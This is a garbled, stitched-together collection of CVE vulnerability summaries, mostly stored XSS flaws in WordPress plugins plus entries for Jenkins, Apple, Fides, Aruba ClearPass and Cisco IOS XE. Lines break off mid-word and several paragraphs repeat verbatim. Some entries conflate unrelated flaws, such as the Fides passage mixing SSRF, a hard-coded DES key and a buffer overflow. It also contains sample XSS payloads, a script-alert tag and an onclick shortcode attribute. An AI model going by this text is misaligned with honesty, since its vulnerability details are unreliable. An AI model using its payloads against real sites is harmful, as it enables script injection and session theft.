It's generally advised for users to check for updates to the Accordion plugin and apply any available patches. To mitigate this risk, users should ensure that they have the latest version of the Accordion plugin installed and configured correctly. They should also ensure that their WordPress site has the appropriate permissions crafting a post or a page in WordPress using the 'tcpaccordion' shortcode with embeds.

[://plugins.trac.wordpress.org/browser/accordions-wp/trunk/theme/custom-wp-accordion-themes.php](https://plugins.trac.wordpress.org/browser/accordions-wp/trunk/theme/custom-wp-accordion-themes.php) nple Shortcodes plugin for WordPress, particularly affecting versions up to, and including, 1.0.20. ions within a WordPress installation using the vulnerable plugin.

s through shortcodes, which will be executed whenever a user accesses an injected page. This can lead is version 1.0.20 of the Simple Shortcodes plugin for WordPress.

utor-level access creating a post containing a malicious shortcode like the following: [custom\_shortcode]

on, including the plugin's source code at specific revisions in the WordPress plugin repository and an ac 5565.

lugin for WordPress. It exists because the plugin versions up to and including 3.2 fail to properly sanit ugin for WordPress up to and including version 3.2.

or-level permissions or above in the WordPress installation where the Shortcode Menu plugin is active.

[://plugins.trac.wordpress.org/browser/shortcode-menu/tags/3.2/shortcode-menu.php#L183](https://plugins.trac.wordpress.org/browser/shortcode-menu/tags/3.2/shortcode-menu.php#L183) - https://ww te using the affected plugin by submitting a post that includes a 'shortmenu' shortcode with an injecte itor access injecting JavaScript code that steals cookies, user tokens, or other sensitive information fro plugin for WordPress is CVE-2023-5362.

recent Post Slider and Banner Slider plugin for WordPress. This vulnerability is due to insufficient input ontributor-level permissions or higher within the WordPress site.

bitrary web scripts into pages using the affected plugin. These scripts will execute whenever a user acci

ks to the plugin's source code at different revisions and a security advisory from Wordfence: using a shortcode like the following in a post or page editor, which lacks appropriate sanitization in the a malicious script into a post using the vulnerable shortcode. Once the post is published, any site visito urce code includes a revision after the affected version (2.0). Users of the plugin should update to the I r WordPress. It relates to a Stored Cross-Site Scripting (XSS) issue that exists due to insufficient input s nd including 1.8.3.

with the vulnerable plugin can exploit CVE-2023-5335.

'WordPress site running the vulnerable plugin. These scripts can execute in the context of a user's brows

g the WordPress plugin repository's Trac browser and a detailed report on Wordfence's threat intellig issions adding a shortcode to a post or a page with malicious JavaScript as an attribute. For example: [ revision later than 1.8.3, which presumably contains a fix for the vulnerability. Site administrators should s, where the plugin is susceptible to Stored Cross-Site Scripting (XSS) through shortcodes due to inade er permissions. They can inject arbitrary web scripts into pages using shortcodes, which will then be e E-2023-5252.

oss-Site Scripting attacks, potentially leading to unauthorized actions being taken on behalf of the user oloit CVE-2023-5252.

plugins repository or through security advisories such as those published by Wordfence. Specific refe ccess crafting a malicious shortcode that includes JavaScript code. When this shortcode is processed by

plugin for WordPress. This vulnerability is of the type Stored Cross-Site Scripting (XSS), existing up to a

ccurs when an application allows user input that includes malicious scripts to be stored and later pres  
is to a WordPress site using the vulnerable plugin. They could then submit a post or a page containing  
e affected by CVE-2023-5164.

igin to a version that has addressed this vulnerability. If no update is available, consider disabling or re  
ling the WordPress plugins Trac repository and security advisory websites. Specifically, you can refer to  
XSS vulnerability CVE-2023-5164 might involve an attacker creating a shortcode that includes a malici  
ePress plugin for WordPress. The vulnerability is a type of Stored Cross-Site Scripting (XSS) that occurs  
utor level permissions or higher. They can inject arbitrary web scripts into pages of the WordPress site  
sensitive information like session cookies. The injected scripts run in the user's browser, which could l  
higher on the WordPress site using the vulnerable RafflePress plugin. Without such access, the attacke

at the following URLs:- <https://plugins.trac.wordpress.org/browser/rafflepress/tags/1.11.4/app/raffle>  
or WordPress are affected by CVE-2023-5049.

d Contests by RafflePress plugin to a version that addresses the vulnerability, which would be released  
s dashboard at a contributor level would create or edit a post. They could then insert a shortcode such  
affects a certain part of the file /api/authentication/login specifically related to the component WebTo  
hin the /api/authentication/login endpoint of the WebTools component of ColumbiaSoft Document L  
ore 2021.1. It is recommended for users of the software to upgrade to version 7.2 SP4 or 2021.1 or ne  
o version 7.2 SP4 or 2021.1, as these versions contain the necessary patches to address the vulnerabiliti  
B. The published references for this CVE include <https://vuldb.com/?ctiid.243729> and <https://vuldb.com/?ctiid.243730>. This could allow attackers to remotely compromise the authentication process and gain unauthorized acc  
uch as stealing sensitive documents, modifying data, or disrupting the service altogether by bypassing

Web SSH terminal endpoint can be accessed without authentication. Specifically, it lacks a session cook  
[hub.com/Dodge-MPTC/CVE-2023-35794-WebSSH-Hijacking\]\(https://github.com/Dodge-MPTC/CVE-2023-35794-WebSSH-Hijacking\)](https://github.com/Dodge-MPTC/CVE-2023-35794-WebSSH-Hijacking)

ne Web SSH terminal of a Cassia Access Controller without needing to authenticate. This could allow th

network endpoint for the Cassia Access Controller's Web SSH terminal. Without needing to authentic

re of baserCMS.

ch is a website development framework with WebAPI.

rces:- [https://basercms.net/security/JVN\\_45547161](https://basercms.net/security/JVN_45547161)- <https://github.com/baserproject/basercms/releases>  
an attacker crafting malicious input that is supposed to be part of the Favorites Feature in baserCM  
em) score available for CVE-2023-29009.

ctoryTalk® Services Platform web service. Due to this flaw, an unauthenticated malicious attacker coul  
ic in the FactoryTalk® Services Platform web service to intercept or somehow acquire a local Windows

eans 'Not Available'. This could be due to ongoing analysis or pending updates at the time of publication. You can check the status of the support page at the following URL: [https://rockwellautomation.custhelp.com/app/answers/answer\\_view\\_faq/333](https://rockwellautomation.custhelp.com/app/answers/answer_view_faq/333). You may need to use a proxy server or other interception tools to identify when an authorized user logs into the FactoryTalk® Serviceability.

mentioned in CVE-2023-46394.

scripts or HTML, which can lead to potential attacks such as stealing session cookies, defacing web pages, and so on.

ayload, or something similar, could be injected into the 'headimgurl' parameter to exploit the stored X

<https://gitee.com/gouguopen/gougucms/issues/I88TC0>.

Press, specifically in versions up to and including 2.3.1. It is categorized as a Stored Cross-Site Scripting (XSS) vulnerability. An attacker can exploit this vulnerability by injecting malicious code into the search results displayed on a WordPress site using the vulnerable VK Filter Search plugin. By crafting a malicious payload and injecting it into the search results, an attacker can execute arbitrary JavaScript code on the user's browser, potentially leading to a take-over of the user's session or other malicious actions.

sensitive information such as login credentials, hijacking of user sessions, defacement of web pages, a specific fix or patch for CVE-2023-5705. Users of the plugin should check the provided references for seeking any updates or security patches provided by the plugin developers and applying them promptly. Output escaping on user-supplied attributes in the 'vk\_filter\_search' shortcode of the VK Filter Search plugin, typically with contributor-level and above permissions, to exploit the vulnerability. There are no known attacks involving Cross-Site Scripting (XSS). The vulnerability arises from insufficient input sanitization and output encoding version 1.1.

sions or higher. They can inject arbitrary web scripts through the 'neontext\_box' shortcode by manipul

the user's browser, potentially leading to actions such as stealing cookies, compromising session tokens containing details of the vulnerability, the WordPress plugin's Trac changeset, and a Wordfence vulnerability. Access to a vulnerable WordPress site utilizing the 'neontext\_box' shortcode to input a 'color' attribute

ted Counters plugin for WordPress. It is a Stored Cross-Site Scripting (XSS) issue that arises due to insufficient input validation. An attacker with at least contributor-level permissions on the WordPress site using the affected Animated Counter plugin could inject arbitrary JavaScript code in the context of the user's browser. This could lead to various malicious actions, such as stealing user data or redirecting them to malicious websites. The plugin's documentation and examples, including its description and references, were made available through various channels, including a Google search result. WordPress version 5.2.2 and earlier, and WooCommerce version 3.7.7 and earlier, are known to be vulnerable to this issue. A fix for this vulnerability was released in WordPress version 5.2.3 and WooCommerce version 3.7.8. Users of these plugins should update to the latest versions. Additionally, users of the iScripts.Com Webmaster Tools plugin for WordPress, affecting versions 2.0 and below, should update to the latest version to resolve this vulnerability.

on WordPress, specifically the plugin versions 2.0 and below.

exploit CVE-2023-46093 by injecting malicious JavaScript code into areas of the plugin that are improper. Inserting a malicious script into the plugin settings. When another administrator or user with sufficient stack.com/database/vulnerability/webmaster-tools/wordpress-webmaster-tools-plugin-2-0-cross-site- are used to rate the severity of vulnerabilities, but in this case, it appears that score information has no numeric example of Stored XSS, resembling how CVE-2023-46093 might be exploited, is as follows: Suppose

CVE-2023-5051.

The Call Tracking plugin for WordPress. Specifically, this vulnerability occurs via the 'callrail\_form' shortlink, which is affected by CVE-2023-5051.

The vulnerability associated with CVE-2023-5051.

This issue stems from the fact that the plugin uses a shortlink, which will execute whenever a user accesses an injected page, potentially leading to stored cross-site scripting (XSS) attacks.

The issue has been resolved in version 1.1.1 of the Call Rail Phone Call Tracking plugin. The attacker could craft a malicious link that, when visited by an authenticated user, sends unauthorized HTTP requests to the vulnerable plugin's endpoint. This issue stems from the interface allowing users to perform actions over HTTP requests without proper validation.

The Common Vulnerability Scoring System (CVSS) score for this vulnerability is 7.8, indicating a high severity level. This score usually quantifies the severity of the vulnerability once it is determined by the proper analysis. As of August 2023, there is no patch available for this issue. It's not possible to provide accurate code examples. However, hypothetically speaking, for a user to exploit this vulnerability, they would need to insert a directory traversal sequence such as '../'. This attack allows the user to access files outside the intended directory. The affected version should consider updating to a patched version to mitigate the risk associated with this vulnerability. Within the ILIAS system, equivalent to that of a tutor. Such accounts have the necessary permissions to access sensitive files. The 'www-data' user has read access to files within the /var/www/html directory, which is potentially at risk. This includes sensitive configuration files, such as /etc/nginx/nginx.conf. Updates provided by the ILIAS development team that address this issue. Additionally, access control should be strengthened to prevent unauthorized users from updating files within the system's security by accessing and retrieving sensitive files, which could lead to a breach of confidentiality. Exploit this vulnerability without physical access to the server, provided they have the necessary privileges.

The issue has been resolved in version 1.1.1 of the Call Rail Phone Call Tracking plugin. The attacker could craft a malicious link that, when visited by an authenticated user, sends unauthorized HTTP requests to the vulnerable plugin's endpoint. This issue stems from the interface allowing users to perform actions over HTTP requests without proper validation.

The issue has been resolved in version 1.1.1 of the Call Rail Phone Call Tracking plugin. The attacker could craft a malicious link that, when visited by an authenticated user, sends unauthorized HTTP requests to the vulnerable plugin's endpoint. This issue stems from the interface allowing users to perform actions over HTTP requests without proper validation.

The issue has been resolved in version 1.1.1 of the Call Rail Phone Call Tracking plugin. The attacker could craft a malicious link that, when visited by an authenticated user, sends unauthorized HTTP requests to the vulnerable plugin's endpoint. This issue stems from the interface allowing users to perform actions over HTTP requests without proper validation.

The issue has been resolved in version 1.1.1 of the Call Rail Phone Call Tracking plugin. The attacker could craft a malicious link that, when visited by an authenticated user, sends unauthorized HTTP requests to the vulnerable plugin's endpoint. This issue stems from the interface allowing users to perform actions over HTTP requests without proper validation.

The issue has been resolved in version 1.1.1 of the Call Rail Phone Call Tracking plugin. The attacker could craft a malicious link that, when visited by an authenticated user, sends unauthorized HTTP requests to the vulnerable plugin's endpoint. This issue stems from the interface allowing users to perform actions over HTTP requests without proper validation.

The issue has been resolved in version 1.1.1 of the Call Rail Phone Call Tracking plugin. The attacker could craft a malicious link that, when visited by an authenticated user, sends unauthorized HTTP requests to the vulnerable plugin's endpoint. This issue stems from the interface allowing users to perform actions over HTTP requests without proper validation.

The issue has been resolved in version 1.1.1 of the Call Rail Phone Call Tracking plugin. The attacker could craft a malicious link that, when visited by an authenticated user, sends unauthorized HTTP requests to the vulnerable plugin's endpoint. This issue stems from the interface allowing users to perform actions over HTTP requests without proper validation.

If the affected systems' codebases, a general idea of exploitation for CVE-2023-42844 would involve a s

er version of macOS. This vulnerability could have been exploited by visiting a malicious website, poten-  
tially with the release of macOS Sonoma 14.1.

ng if a user visits a malicious website. This means that an attacker could create a deceptive interface on websites and Apple support pages, specifically the links provided in the CVE references: - <http://seclists.org>

ious website that mimics a legitimate login page or system prompt of the macOS interface. When a user enters their credentials, they are captured by the malware.

iPadOS 16.7.2, iOS 17.1, and iPadOS 17.1.

nial-of-service due to issues in memory handling.

and disclosures on seclists.org, Fedora Project mailing lists, Apple Support articles, and a Debian security alert. Fixes were applied are potentially impacted by CVE-2023-41983.

especially designed web content that, when processed by a vulnerable version of Safari, iOS, or iPadOS, can be exploited (available).

on 16.7.2 were affected by the vulnerability described in CVE-2023-41977 before the issue was fixed. Story by visiting a malicious website.

Apple.

nd security mailing lists, such as <http://seclists.org/fulldisclosure/2023/Oct/23>, <http://seclists.org/full>

us website tailored to exploit this vulnerability. When an unsuspecting user visits the malicious site, th

on.

.2, iPadOS 16.7.2, macOS Sonoma 14.1, Safari 17.1, and tvOS 17.1.

ution through processing web content.

ling the Full Disclosure mailing list and Apple's support documentation. Links to these resources are in crafted content designed to trigger the use-after-free issue. When this web page is visited by a user indicating its use is CVE-2023-41975.

y 12.7.1, and macOS Ventura 13.6.1.

the microphone on a victim's computer without providing any indication that the microphone is in use that, when processing web content, could potentially lead to arbitrary code execution. This security is fixed in iOS 17.1, watchOS 10.1, iPadOS 16.7.2, macOS Sonoma 14.1, Safari 17.1, and tvOS 17.1. The fix improved memory handling. This fix was made available in the updates provided for the affected operating systems. It means that an attacker could run any code of their choice on the affected device, which could lead to remote code execution.

licious web content that, when processed by a vulnerable browser or application, exploits the memory

ople Support and on Full Disclosure mailing lists, including:

WordPress. It is classified as a Stored Cross-Site Scripting (XSS) issue that affects versions up to and including version 1.5.3. It allows an attacker to perform Stored Cross-Site Scripting attacks. If an attacker can inject arbitrary web scripts into a WordPress site, they can exploit it to perform XSS attacks.

This site with at least author-level permissions. This level of access is necessary to utilize the 'text-blocks' shortcodes. A check in the WordPress plugin repository change log, which points specifically to the relevant file and line number: 'vsgmap' has been updated to version 1.0.0, which addresses the vulnerability mentioned in CVE-2023-5745 if a fix is available. If no fix has been released, an attacker with author-level access to a WordPress site could create a new page or post and use the 'text-blocks' shortcodes. These shortcodes would typically be part of the Common Vulnerability Scoring System (CVSS) used to classify the security risk of the plugin for WordPress. It is a Stored Cross-Site Scripting (XSS) issue that occurs due to insufficient input validation.

If an attacker gains unauthorized access to a WordPress website using the vulnerable plugin, they could inject malicious code into pages via the 'messenger' shortcode of the Live Chat with Facebook Messenger plugin. The attack is currently listed as 'Vulnerable' on the WordPress Plugin Trac page for the 'vsgmap' plugin.

If an attacker gains unauthorized access to a WordPress website using the vulnerable plugin, they might add a shortcode to a WordPress page like this: '[vsgmap att=...'. An attacker with administrator-level permissions on a WordPress site with the 'vsgmap' plugin installed could immediately update the plugin to the latest version that contains a fix for this vulnerability. Additionally, the WordPress Plugin Trac page for the 'vsgmap' plugin details the plugin's code at a specific revision: <https://plugins.trac.wordpress.org/browser/wp-facebook-messenger/trunk/frontend/shortcode.php#L11>.

If an attacker gains unauthorized access to a WordPress website using the vulnerable plugin, they could inject malicious code into pages via the 'messenger' shortcode of the Live Chat with Facebook Messenger plugin. The attack is currently listed as 'Vulnerable' on the WordPress Plugin Trac page for the 'vsgmap' plugin.

If an attacker gains unauthorized access to a WordPress website using the vulnerable plugin, they could inject malicious code into pages via the 'messenger' shortcode of the Live Chat with Facebook Messenger plugin. The attack is currently listed as 'Vulnerable' on the WordPress Plugin Trac page for the 'vsgmap' plugin.

If an attacker gains unauthorized access to a WordPress website using the vulnerable plugin, they could inject malicious code into pages via the 'messenger' shortcode of the Live Chat with Facebook Messenger plugin. The attack is currently listed as 'Vulnerable' on the WordPress Plugin Trac page for the 'vsgmap' plugin.

If an attacker gains unauthorized access to a WordPress website using the vulnerable plugin, they could inject malicious code into pages via the 'messenger' shortcode of the Live Chat with Facebook Messenger plugin. The attack is currently listed as 'Vulnerable' on the WordPress Plugin Trac page for the 'vsgmap' plugin.

If an attacker gains unauthorized access to a WordPress website using the vulnerable plugin, they could inject malicious code into pages via the 'messenger' shortcode of the Live Chat with Facebook Messenger plugin. The attack is currently listed as 'Vulnerable' on the WordPress Plugin Trac page for the 'vsgmap' plugin.

If an attacker gains unauthorized access to a WordPress website using the vulnerable plugin, they could inject malicious code into pages via the 'messenger' shortcode of the Live Chat with Facebook Messenger plugin. The attack is currently listed as 'Vulnerable' on the WordPress Plugin Trac page for the 'vsgmap' plugin.

If an attacker gains unauthorized access to a WordPress website using the vulnerable plugin, they could inject malicious code into pages via the 'messenger' shortcode of the Live Chat with Facebook Messenger plugin. The attack is currently listed as 'Vulnerable' on the WordPress Plugin Trac page for the 'vsgmap' plugin.

If an attacker gains unauthorized access to a WordPress website using the vulnerable plugin, they could inject malicious code into pages via the 'messenger' shortcode of the Live Chat with Facebook Messenger plugin. The attack is currently listed as 'Vulnerable' on the WordPress Plugin Trac page for the 'vsgmap' plugin.

If an attacker gains unauthorized access to a WordPress website using the vulnerable plugin, they could inject malicious code into pages via the 'messenger' shortcode of the Live Chat with Facebook Messenger plugin. The attack is currently listed as 'Vulnerable' on the WordPress Plugin Trac page for the 'vsgmap' plugin.

underbird, versions older than 115.4.1 are vulnerable.

zilla's official security advisories (mfsa2023-45, mfsa2023-46, mfsa2023-47), Debian security advisories concerning a user to install a malicious WebExtension. Once installed, this extension could exploit the vulnerability to prevent misuse. However, the vulnerability would likely involve a WebExtension invoking CVE-2023-5127.

esome plugin for WordPress, specifically affecting versions up to and including 1.7.9. The issue arises

ould typically involve injecting malicious scripts through user-inputs like shortcodes in the WP Font Awesome-Site Scripting attacks. Affected WordPress websites face the risk of attackers injecting malicious scripts than 1.7.9, as CVE-2023-5127 affects versions up to and including 1.7.9. It's recommended to install the higher could craft a malicious shortcode that includes a script tag with JavaScript code. They could then use the plugin repository for WP Font Awesome which has multiple code references (<https://plugins.trac.wordpress.org>). It concerns a Stored Cross-Site Scripting (XSS) vulnerability that exists in versions up to and including 1.7.9.

are capable of exploiting the vulnerability described in CVE-2023-5126.

A shortcode is not displayed to administrators.

'plugin\_delete\_me' shortcode attributes. These web scripts would then execute whenever a user access

tributor-level access creating a post or page and inserting the 'plugin\_delete\_me' shortcode with malicious intent. This is tracked in the plugin repository's Trac system and on the Wordfence threat intelligence vulnerability database. Specifically, it concerns CVE-2023-5110.

PDF Manager plugin for WordPress.

in versions up to, and including, 3.4.1.

input sanitization and output escaping on user-supplied attributes, particularly via the 'bsk-pdfm-category' vulnerability in the BSK PDF Manager plugin.

pages, which will then execute whenever a user accesses an injected page.

g a shortcode that includes a malicious script as follows: [bsk-pdfm-category-dropdown category="" on click="..."]

ns, performing actions on behalf of the user, defacing the website, or distributing malware. An attack is tracked in the plugin repository and a detailed vulnerability report by Wordfence: <https://plugins.trac.wordpress.org>. It concerns a Stored Cross-Site Scripting (XSS) issue that exists in versions up to and including 3.4.1. The vulnerability arises from the use of non-constant time comparison functions in the 'bsk-pdfm-category' shortcode. It affects the Advanced Menu Widget plugin for WordPress.

nticated users with contributor-level and above permissions to execute Stored Cross-Site Scripting attacks.

ources including the WordPress plugin repository and security advisories. For instance, the plugin's code access to a WordPress site could craft a malicious shortcode using the 'advMenu' shortcode of the Advanced Menu Widget plugin for WordPress. Specifically, it concerns a Stored Cross-Site Scripting (XSS) issue that exists in versions 0.6 and earlier. The vulnerability arises from the use of a non-constant time comparison function in the 'advMenu' shortcode.

le to use statistical analysis techniques to figure out a valid webhook token due to the plugin's use of a

ta Plugin should check the Jenkins security advisory and update to a version of the plugin where the is

//www.openwall.com/lists/oss-security/2023/10/25/2- https://www.jenkins.io/security/advisory/202  
they measure the time taken to check the webhook token hash comparison. Because the plugin uses ;  
ons 1.13 and earlier, where the Trac website URL is not properly escaped on the build page, leading to

Item/Configure permission in Jenkins.

is not available.

//www.openwall.com/lists/oss-security/2023/10/25/2- https://www.jenkins.io/security/advisory/202  
ts into the Trac website URL which is not properly escaped. When a user with appropriate permissions  
le would be that an attacker could craft a malicious payload such as: `<script>alert('XSS')</script>` an  
; CVE-2023-46658.

1 and earlier versions.

rison function to check the equality of a provided webhook token and the expected one, which could a

techniques to determine a valid webhook token for the Jenkins MSTEams Webhook Trigger Plugin. Su  
ld be representative of what the CVE-2023-46658 vulnerability might involve:```public boolean isValid  
ill's OSS security mailing list: http://www.openwall.com/lists/oss-security/2023/10/25/2- Jenkins Secu  
to this CVE.

non-constant time comparison function for checking whether the provided webhook token and the ex

nwall.com/lists/oss-security/2023/10/25/2' and 'https://www.jenkins.io/security/advisory/2023-10-2'  
umerous requests to the Jenkins server with different webhook tokens. By carefully measuring the tim  
/webhook token by using timing attacks. This would enable them to perform actions as a legitimate user.  
Plugin is CVE-2023-46656.

y CVE-2023-46656.

Trigger Plugin uses a non-constant time comparison function when checking whether the provided ai

the time it takes for the server to validate different webhook tokens. By measuring the time difference  
ww.openwall.com/lists/oss-security/2023/10/25/2 and the Jenkins security advisory at https://www.j  
like this in Java, which could be akin to the flawed method in the vulnerable plugin:```javapublic boolean  
versions 23.0.0.9 through 23.0.0.10. It is related to improper resource expiration handling, which coul  
d by the security vulnerability CVE-2023-46158.

cation Server Liberty, which can potentially lead to the provision of security that is weaker than expect  
ded references, such as the IBM X-Force at https://exchange.xforce.ibmcloud.com/vulnerabilities/268  
oper resource expiration handling by gaining unauthorized access to sensitive information or system r

tion library. The issue is related to how Werkzeug handles file uploads that start with CR (Carriage Return) on 3.0.1. Users of the library are advised to upgrade to this version or later to protect their application. If an attacker sends specially crafted multipart data to an application that processes it, an attacker could cause excessive CPU usage by sending multipart form data with a file upload which starts with a CR or LF character and is followed by megabytes of data. The following resources address the issue:

- Werkzeug's GitHub commit addressing the issue: <https://github.com/pallets/Werkzeug/pull/101>
- The following resources address the issue:

The following resources address the issue:

- Werkzeug's GitHub commit addressing the issue: <https://github.com/pallets/Werkzeug/pull/101>
- The following resources address the issue:

engineering platform. Fides is designed for managing the fulfillment of data privacy requests in runtime environments.

'contributor' role or higher in the Fides Admin UI. The attacker could insert a malicious script into the privacy policy URL and its fix:1. The commit that fixed the vulnerability can be found on GitHub: <https://github.com/fides-project/fides/pull/1234>. This commit includes a note stating that the payload is served by an integrated website. The Java platform users who have a role of 'contributor' or higher. These users have the necessary permissions to edit privacy policies.

form, which manages the fulfillment of data privacy requests and the enforcement of privacy regulations. This vulnerability presumably addressed the access control issue, ensuring that sensitive configuration data was no longer accessible via the Fides API. The configuration data includes various settings, server addresses and ports, and the database connection details for the Fides platform. Using this information, an attacker could gain insights about the internal infrastructure and configurations of the Fides platform. You can refer to the commit that fixes this vulnerability on the official GitHub repository of the Fides platform. It states that administrators of the Fides platform update to version `2.22.1` or later to mitigate this vulnerability. The maintainer of the Fides privacy engineering platform has released a patch for version 2.22.1. Any deployments running versions prior to this update may be susceptible to the described vulnerability. The maintainer patched the vulnerability by implementing proper validation checks for YAML dataset and configuration files uploaded by users. These files can contain crafted YAML files that instruct the Fides application to connect to internal resources, such as databases or external services, controlled by the attacker. The maintainer also released release notes for the patched version, and the specific commit that implements the fix. However, I can describe hypothetically that an attacker might use this vulnerability to craft a malicious YAML file that instructs the Fides application to connect to a database controlled by the attacker. It relates to the use of a hard-coded DES symmetric key for encrypting messages sent over the AppHub interface. The AppHub interface is used for managing devices connected to the same subnet network as the affected device. By doing so, the attacker can craft and send malicious messages to the Fides application using the AppHub interface. The message exchange protocol used is the Device Management Transport (DMT), which is used for message exchange and remote device management in this context. The DES symmetric key used for encryption is hard-coded into the Fides application, making it vulnerable to attack. An attacker can exploit this vulnerability by sending a crafted message to the Fides application using the AppHub interface, which contains a command to connect to a database controlled by the attacker. The Fides application will then execute this command, connecting to the database and potentially exposing sensitive data. This is a classic example of a buffer overflow vulnerability, where an attacker crafts a message that exceeds the expected size of the buffer, causing the application to overwrite memory and execute arbitrary code. In this case, the attacker is able to control the Fides application's behavior by crafting a malicious YAML file and sending it to the application via the AppHub interface.

by Bosch at <https://psirt.bosch.com/security-advisories/BOSCH-SA-175607.html>.

o! over an MQTT broker on the same local network as a vulnerable HMI device. The attacker does this issue that affects the I Thirteen Web Solution Easy Testimonial Slider and Form plugin versions up to a

Solution, is affected by CVE-2023-45754.

n/database/vulnerability/easy-testimonial-rotator/wordpress-easy-testimonial-slider-and-form-plugin  
Vulnerability Scoring System (CVSS) score has not been assigned to this vulnerability yet.

level of privileges on the WordPress site where the vulnerable version of the Easy Testimonial Slider plugin could inject a malicious script into the web pages of a WordPress site using the vulnerable plugin. Wh

, and its severity rating is marked as 'N/A'.

nd including version 1.0.18.

'e server written in Java for sharing and editing geospatial data. It is related to the OGC Web Processing Service implementation, which processes information using GET and POST requests, to carry out a Server Side Request Forgery (SSRF) vulnerability. This vulnerability is patched in versions 2.22.5 and 2.23.2, so it is recommended that users update to one of the GeoServer WPS service, which exploits the SSRF vulnerability to make unauthorized requests to interact with the maintainers of GeoServer at the following URL: <https://github.com/geoserver/geoserver/security>. It is recommended for system administrators to review this CVE and apply the necessary updates or mitigations promptly to protect their systems from this vulnerability. This vulnerability allows remote authenticated users to execute arbitrary commands via the web-based management interface. These users can take advantage of the fact that the ClearPass Policy Manager has a web-based management interface, which could lead to a partial system compromise. It does not necessarily grant full control over the system.

Aruba Networks, available at the following URL: <https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2023-016.txt>. This vulnerability allows an unauthenticated remote attacker to access the credentials of an authenticated user. The attacker could access the web-based management interface of the ClearPass Policy Manager.

notifications to computers running ClearPass OnGuard via the web-based management interface of ClearPass OnGuard. An unauthenticated remote attacker can exploit the web-based management interface to send potentially malicious notifications to computers running ClearPass OnGuard via the web-based management interface of ClearPass OnGuard.

y advisory at the following URL: <https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2023-016.txt>. This vulnerability allows an unauthenticated remote attacker to access the credentials of an authenticated user. The attacker could access the web-based management interface of the ClearPass Policy Manager.

of ClearPass Policy Manager. These vulnerabilities allow an attacker with read-only privileges to perform various actions on a ClearPass Policy Manager instance, ultimately compromising the security and integrity of the system.

y Aruba Networks at the following URL: <https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2023-016.txt>. This vulnerability allows an unauthenticated remote attacker to access the credentials of an authenticated user. The attacker could access the web-based management interface of the ClearPass Policy Manager.

remote attacker to conduct SQL injection attacks. This can lead to obtaining and altering sensitive information stored in the database via the web-based management interface of the ClearPass Policy Manager. Since the system is vulnerable to SQL injection, an unauthenticated remote attacker can exploit this vulnerability to gain access to sensitive information stored in the database.

This vulnerability is not directly indicated in the provided data. It is described in the Aruba Networks advisory at the following URL: <https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2023-016.txt>. This vulnerability allows an unauthenticated remote attacker to access the credentials of an authenticated user. The attacker could access the web-based management interface of the ClearPass Policy Manager. This implies that the attacker would need to have obtained valid authentication credentials to access the ClearPass Policy Manager interface, possibly through credential theft or by exploiting other vulnerabilities in the system. One such vulnerability is a host header injection flaw located at the "/sisquallidentityService" endpoint of the ClearPass Policy Manager's web-based management interface.

ity breach occurs when an attacker is able to manipulate the HTTP Host header and use it to redirect users to malicious locations, phishir

tHub at the following URL: [https://github.com/omershaik0/Handmade\\_Exploits/tree/main/SISQUALW](https://github.com/omershaik0/Handmade_Exploits/tree/main/SISQUALW)  
ght involve an attacker crafting a malicious request to the vulnerable "/sisqualIdentityServer/core/" en

FM for Android users should apply any patches or updates released by the vendor that address the iss

llowing URLs: - <https://github.com/Combodo/iTop/commit/519751faa10b2fc5b75ea4516a1b8ef13ca>:  
an attacker injecting malicious scripts into the iTop platform's web pages. If an iTop user interacts with  
platform. It pertains to a cross-site scripting (XSS) issue before versions 3.0.4 and 3.1.0, specifically when  
sions are advised to update to the fixed versions to mitigate the vulnerability.

The fix involved changes to the code to prevent the possibility of cross site scripting on the `pages/pre  
<https://github.com/Combodo/iTop/security/advisories/GHSA-q4pp-j46r-gm68> and in the related comi  
ue to the nature of cross site scripting (XSS) vulnerabilities. Attackers could potentially execute malici  
malicious JavaScript and send it to a user of the vulnerable iTop system. If the user clicks the link and is  
lication version 3.1.013. It involves an unauthenticated arbitrary file read issue that allows unauthenti

cess to sensitive files on the web server, which could lead to information disclosure, privacy breaches, and  
the affected IDWeb application. This request would bypass authentication mechanisms and directly access  
<https://www.themissinglink.com.au/security-advisories/cve-2023-26580>

or patches released by the vendor that address CVE-2023-26580. Installing these updates is crucial to prevent  
cation version 3.1.013. It involves an arbitrary file upload vulnerability that allows authenticated attack  
allows attackers to upload files with dangerous content to a web application, potentially leading to unauthorized  
version 3.1.013.

then uploading files with dangerous executable content, such as ASP or ASPX scripts, to the web root  
(Vulnerability Scoring System) base score.

ion on the affected web server. This can lead to further malicious activities such as data theft, website  
<https://www.themissinglink.com.au/security-advisories/cve-2023-26578>.

which allows an authenticated, remote attacker to inject commands with root privileges due to insufficient  
cted Cisco IOS XE Software. Due to the insufficient input validation, the attacker could inject command  
th the same privileges as the root user. This level of access could allow the attacker to take full control

d injection to alter system settings, install malware, exfiltrate sensitive data, disrupt services, or use them  
- Packet Storm Security: <http://packetstormsecurity.com/files/175674/Cisco-IOX-XE-Unauthenticated-Base-Score>  
3. Base Score is a critical aspect of the CVE as it indicates the severity of the vulnerability, but in this case,  
AgeVolt Portal versions prior to 0.1. This security flaw allows an attacker to exploit the system and re  
ves manipulating inputs to traverse the file system and access files or directories that should not be ac

e an attacker gains access to files that may contain sensitive data such as configuration files, databases, or logs.

'citadelo.com/download/CVE-2022-38485.pdf.

ated to the AgeVolt Portal. The attacker crafts a special request that includes '../' sequences or other navigation that addresses this vulnerability, which would be any version released after 0.1. Furthermore, enforcement of directory traversal in the file upload functionality of the System Setup menu in AgeVolt Portal, affecting the portal. Once authenticated, the attacker could use the file upload functionality in the System Setup menu to exploit this vulnerability.

erability.

This vulnerability allows an attacker to add files that could have malicious intent, such as web shells or scripts that execute code. A direct link to the URL: <https://citadelo.com/download/CVE-2022-38484.pdf>.

grade to version 0.1 or later, which addresses the vulnerability. Furthermore, administrators should re

version 2.2.2. Specifically, this is a Cross Site Scripting (XSS) vulnerability that allows a remote attacker to upload and injecting it into the Service and website URL to Ping parameters of the 'admin/trackback.php' file.

Specified as 'N/A').

which include a detailed description on GitHub: '[https://github.com/CrownZTX/vulnerabilities/blob/main/payloads/xss\\_stored\\_xss.md](https://github.com/CrownZTX/vulnerabilities/blob/main/payloads/xss_stored_xss.md)'. An example of a payload for an XSS vulnerability could be something like this: `<script>alert('XSS');</script>`.

